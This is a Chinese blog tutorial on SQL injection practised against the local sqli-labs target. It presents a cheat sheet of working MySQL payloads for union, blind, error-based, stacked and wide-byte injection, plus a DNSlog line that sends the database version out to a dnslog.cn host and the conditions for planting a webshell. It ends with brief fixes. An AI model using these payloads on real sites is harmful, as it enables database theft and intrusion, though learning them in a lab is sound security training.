web渗透之sql注入

博主姓名:摆烂阳
博主主页面链接:传送门
新人入圈,希望博主的内容可以给大家带来帮助,有任何问题可以私信本人
摆烂阳从不摆烂滴

一、前言

所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。
黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。


二、实验准备

本次实验使用sqli-labs-master靶场。

靶场下载链接https://codeload.github.com/Audi-1/sqli-labs/zip/master

三、sql注入检测方法

1、数字型检测

本次实验使用靶场第二关

直接输入and 1=1

 http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 and 1=1

在这里插入图片描述

此时发现页面是正常显示的,我们跟着继续判断and 1=2

 http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 and 1=2

在这里插入图片描述

此时发现页面发生了变化,那么就可以判断这是一个数字型注入。

2、字符型检测

本次实验使用靶场第一关

在网站url栏上输入一个单引号

 http://127.0.0.1/sqli-labs-master/Less-1/?id=1’

在这里插入图片描述
此时发现网站报错,大致意思为你有一个数据库语法错误,当在后面输入一个%23(注释符)之后会发现页面正常回显

当我们在单引号后面输入and 1=1 %23时,发现页面正常回显

http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1' and 1=1 %23

在这里插入图片描述

当我们将and 1=1换成and 1=2时发现页面报错

 http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1' and 1=2 %23

在这里插入图片描述

此时便可以判断这是一个字符型注入

3、搜索型检测和xx型检测

这两种检测方法本质上是字符型检测的分支,只是需要根据不同的报错信息进行构造闭合

四、常见的注入手法

1、union注入

首先要知道的是union注入一般是配合order by语句用于两个或多个sql语句集合

ps: order by是指在sql语句后面进行排序的,通常我们用order by来判断查询的字段有几位

(1).union联合报错注入
select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));
(2).union联合查询
?id=111’ union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema=‘数据库名’) --+

2、盲注

盲注是指在不知道数据库返回值的情况下对数据中的内容进行猜测,一般分为布尔盲注、时间盲注、报错盲注

(1).布尔盲注

a.判断数据库长度

and (length(database()))=一个数 %23

b.判断当前数据库名

and (ascii(substr(database(),1,1)))=一个数 %23

c.判断当前数据库下表的数量

and (select count(*) from information_schema.tables where table_schema='数据库名')=一个数  %23

d.判断每个表的长度

and(length((select table_name from information_schema.tables where table_schema='库名' limit0,1)))=一个数 %23

ps:
limit 后面数字的意义:
第一位表示判断第几张表(第一张表记作0)
第二位表示一次截取几条数据,默认为1

e.取表名

and(ascii(subste((select table_name from information_schema.tables where table_schema='库名' limit0,1),1,1))=一个数)

f.查询当前数据库下,该表内有多少个字段

and(select count(*)from information_schema columns where table_schema='库名' and table_name='表名')=一个数 %23

g.判断字段的长度

and  (length((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1)))=一个数%23

h.判断第一个字段的第一位的名称

and  (ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)))=105 %23

i.判断第一条数据的长度

and(length((select 字段名 from 表名 limit 1,1)))=一个数 %23 

j.获取第一条数据

and (ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))=一个数 %23
(2).时间盲注

a.判断是否存在时间盲注

and sleep(5) %23

b.查询当前数据库的长度,如果正确那么就延迟

and if((length(database()))>此处填判断的时间,sleep(此处填延迟的时间),1) --+

c.判断当前数据库名第一位是否为a

and if((substr(database(),1,1)='a'),sleep(5),1)  %23

d.判断当前数据库名第一位ascii码

and if((ascii(substr(database(),1,1))=此处填判断的数字),sleep(延迟的时间),1)  %23

e.查询表数量

and if((select count(*) from information_schema.tables where table_schema='库名称)=此处填判断的数字,sleep(此处填延迟的时间),1)%23

f.查询表名长度

and if((select length((select table_name from information_schema.tables where table_schema='库名' limit 3,1))=此处填判断的数字),sleep(此处填延迟的时间),1)%23

g.截取表名第一位

and if((select ascii(substr((select table_name from information_schema.tables where table_schema='数据库名 limit 3,1),1,1)))=此处填判断的数字,sleep(此处填延迟的时间)),1)%23

h.查询列字段数量

and if(((select count(*) from information_schema.columns where table_schema='数据库名' and table_name='users')=此处填判断的数字),sleep(此处填延迟的时间),1)%23

i.查询列名长度

and if((select length((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1))=此处填判断的数字),sleep(此处填延迟的时间),1)%23

j.截取列名第一位

and if((select ascii(substr((select column_name from information_schema.columns where table_schema=‘数据库名’ and table_name=‘表名’ limit 0,1),1,1)))=此处填判断的数字,sleep(此处填延迟的时间),1)%23

k.查询第一条数据的长度

and if((select length((select id from 表名  limit 0,1)))=此处填判断的数字,sleep(此处填延迟的时间),1)%23

l.获取数据信息内容

and if((select ascii(substr((select id from 表名  limit 0,1),1,1)))=此处填判断的数字,sleep(此处填延迟的时间),1)%23

2.报错注入

(1).floor报错

and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

(2).extractvalue报错

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

(3).updatexml报错

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

a.查表语句

and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = database()),'~'),3) %23

b.查字段语句

and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'),'~'),3) %23

c.查数据语句

and updatexml(1,concat('~',(select username from users limit 0,1),'~'),3) %23

(4).geometrycollection报错

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

(5).multipoint报错

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

(6).polygon报错

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

(7).multipolygon报错

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

(8).linestring报错

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

(9).multilinestring报错

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

(10).exp报错

select * from test where id=1 and exp(~(select * from(select user())a));

3.堆叠注入

(1).原理

mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句

例如:

select * from users;show databases;

就同时执行以上两条命令,所以我们可以增删改查,只要权限够
虽然这个注入姿势很牛,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_
query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

4.二次注入

二次注入可以概括为以下两步:

第一步:插入恶意数据

进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据

开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

3.宽字节注入

(1).原理

当传递一个参数id=1‘得时候,当我们输入这个单引号,会被认为是非法字符,会被过滤函数添加“\”给过滤掉,所以我们想要程序接受我们传递得参数中包含单引号,那么就需要把这个转义字符“\”干掉,那如何才能干掉呢?当http协议传输得时候,是要经过url编码的,如果这个编码完成后,传递到服务器时,我们可以在单引号前加上一个%81这样得编码,最后这样解码得时候,这个%81就会和“/”对应得编码相结合按照gbk编码要求去解码,最后只剩下个单引号。

(2).宽字节注入条件

(1)数据库查询设置为GBK编码
(2)使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()之类的函数

附:GBK编码表 https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php

4.dnslong盲注

利用条件

利用条件:

mysql.ini中secure_file_priv必须为空
secure_file_priv 为null 不允许导入导出
secure_file_priv 为/tmp 导入导出只能在/tmp目录下
secure_file_priv 为空时 则不做限制允许导入导出

语句

' and  load_file(concat('\\\\',(select version()),'.0j7pyz.dnslog.cn\\abc')) %23

赠:域名http://www.dnslog.cn/

5.请求头注入

需利用:burp

(1)UA头注入
(2)referer注入
(3)cookie注入

6.sql注入写入webshell

条件

(1)当前sql注入用户必须为DBA权限(–is-dba为true)
(2)需要知道网站的绝对路径
(3)My.ini文件中的这项配置secure_file_priv=””为空

7.sql注入修复

Intval()
Addslashes()

五、总结

SQL注入最大的危害在于数据泄露,但SQL注入并不能直接获得Web系统的权限。在对抗SQL注入攻击方面,有效的措施是过滤和转义,针对中小型站点尽可能限制数据类型,限制提交数据的字符类型,对特殊字符及敏感函数进行过滤。针对大型站点推荐利用预编译方法或参数化查询。

`

  • 43
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 62
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 62
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

摆烂阳

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值